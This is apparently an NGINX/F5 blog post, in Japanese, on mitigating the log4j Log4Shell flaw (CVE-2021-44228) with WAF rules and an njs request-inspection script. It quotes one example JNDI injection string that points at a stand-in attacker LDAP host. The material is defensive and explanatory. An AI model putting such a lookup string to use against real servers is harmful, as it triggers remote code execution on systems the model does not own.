NGINX による log4j 脆弱性 (CVE-2021-44228) の軽減

2021 年 12 月 10 日金曜日は、世界中の多くの IT 関係者にとって記憶に残る日となるでしょう。 Java アプリケーション用の非常に人気のあるログ ライブラリであるlog4jに、極めて重大なゼロデイ脆弱性が見つかったときです。 このエクスプロイトにはすぐに「Log4Shell」という名前が付けられ、あらゆる規模の企業が急いで緩和戦略を導入しました。 これに続いてパッチ適用マラソンが行われました。これはこの記事の執筆時点でもまだ進行中です。

NGINX と F5 は脅威を分析し、この投稿ではアプリケーションを保護するためのさまざまな緩和オプションを提案しています。

Log4Shellとは何ですか?

log4j ライブラリのバージョン 2.15 およびそれ以前のバージョンは、CVE-2021-44228で説明されているリモート コード実行 (RCE) の脆弱性に対して脆弱です。 (log4jバージョン 2.16では脆弱性が修正されています。) Log4Shell は、この脆弱性を悪用した攻撃に付けられた名前です。 しかし、その脆弱性とは何でしょうか。そしてなぜそれがそれほど重大なのでしょうか。 CVE で説明されているように、Apache log4j Java ライブラリは入力を適切に検証しません。

log4j ライブラリと Java ランタイムの Java Naming and Directory Interface (JNDI) 機能を使用すると、リモート検索を実行して、LDAP からのユーザー名や DNS からの IP アドレスなどの外部ソースからデータを取得し、ログ エントリに含めることができます。 残念ながら、リモートの攻撃者は JNDI を乗っ取って、自分が記述した Java コードを実行する可能性があります。 次の図は攻撃を示しています。

脆弱なターゲットを悪用するには、攻撃者はapplicationコードを騙して、次のような文字列を含むログエントリを書き込ませる必要があります。${jndi:ldap://evil.xa/x} 。 興味深い質問は、ログ メッセージに表示される文字列をどこに配置すればよいかということです。 多くのapplicationsではログ記録が不可欠であり、 User-AgentやX-Forwarded-Forなどの HTTP ヘッダー、URI、リクエスト本文など、受信するすべてのリクエストに関するさまざまな情報がログに記録されます。 攻撃ベクトルは多数存在し、文字列が log4j でログに記録される限り、applicationが悪用される可能性があります。

NGINX はこの脆弱性の影響を受けますか?

いいえ。 NGINX 自体は C で記述されており、Java や Java ベースのライブラリを使用していないため、このエクスプロイトに対して脆弱ではありません。 すべての F5 および NGINX 製品に対するCVE-2021-44228への公式対応については、AskF5 ナレッジベースの記事K19026212を参照してください。

NGINX はどのようにしてエクスプロイトの緩和に役立つのでしょうか?

前述のように、攻撃者は HTTP リクエストのどこかにエクスプロイト文字列をターゲット アプリケーションに送信する必要があります。 NGINX は、受信リクエストをスキャンして侵害の兆候 (IOC) を検出し、ブロックするためのツールをいくつか提供します。

悪意のあるリクエストをブロックする最も効率的な方法は、Web アプリケーション ファイアウォール (WAF) を使用することです。 リクエストデータを事前にコンパイルされたルールのセットと比較することにより、受信するすべてのリクエストをスキャンしてCVE-2021-44228の兆候を探します。 ただし、ゼロデイ攻撃の後に WAF ルールを更新することは、軍拡競争のようなものです。 特定のエクスプロイトに対して WAF ルールが利用可能になるとすぐに、攻撃者は WAF を回避できる手法とパターンを探します。 WAF ルールを常に最新の状態に保ってください。

NGINX ModSecurity WAF

ModSecurity はオープンソースの WAF であり、NGINX Plus 用のNGINX ModSecurity WAFモジュールとして NGINX から商用提供されているものでも利用できます。 OWASP ModSecurity Core Rule Set (CRS) には、Log4Shell を軽減できる既存のルール (932130) が含まれています。 このソリューションとより高度な保護に関する詳細については、 CRS ブログを参照してください。

[編集者注– NGINX ModSecurity WAF は、2022 年 4 月 1 日をもって正式に販売終了となり、 2024 年 3 月 31 日をもってサポート終了となります。 詳細については、弊社ブログの「F5 NGINX ModSecurity WAF はサポート終了に移行しています<.htmla>」をご覧ください。

NGINX アプリ保護 WAF

NGINX App Protect WAFは最新のアプリ セキュリティ ソリューションです。 脅威と既知の WAF バイパスの継続的な調査に基づき、Log4Shell 攻撃を効果的に検出するための新しいルールでサーバー側コード インジェクション シグネチャ セットを更新しました。 詳細については、 AskF5 ナレッジ ベースを参照してください。

NGINX JavaScript モジュール

NGINX と NGINX Plus は、多くの Java ベースのアプリケーションの前でリバース プロキシとして広く導入されています。 WAF にアクセスできないユーザーや顧客向けに、 NGINX JavaScript モジュール(njs) を使用するスクリプトを作成しました。 このスクリプトは、受信リクエスト内の HTTP ヘッダー、URI、リクエスト本文をスキャンし、既知の IOC 文字列と正規表現を使用して入力データを照合し、悪意のあるリクエストをブロックします。

njs スクリプトはGitHubで入手できます。 njs モジュールのインストール手順については、 NGINX Plus 管理者ガイドを参照してください。

まとめ

Log4Shell に対する最も効果的な解決策は、アプリケーション コードにlog4j バージョン 2.16以降を適用して JDNI を無効にすることです。それがすぐに実行できない場合は、パッチを適用するまでの間、WAF によって脅威を効果的に軽減できます。 WAF をまだ導入していない場合は、njs スクリプトを使用して脅威に対する特定の保護を実装できます。 以下のリソースを使用して詳細を確認し、アプリケーションに最も適した保護を選択してください。

リソース

• CVE-2021-44228 – 公式CVE
• 人気の Java ライブラリ Log4j を狙ったゼロデイ エクスプロイト– 脆弱性に関する貴重な概要
• K19026212: Apache Log4j2 リモートコード実行脆弱性 CVE-2021-44228 – F5 の公式回答
• CRS と Log4j / Log4Shell / CVE-2021-44228 – ModSecurity コアルールセットブログ
• CVE-2021-44228に対する NGINX njs リクエスト検査– NGINX JavaScript 緩和ソリューション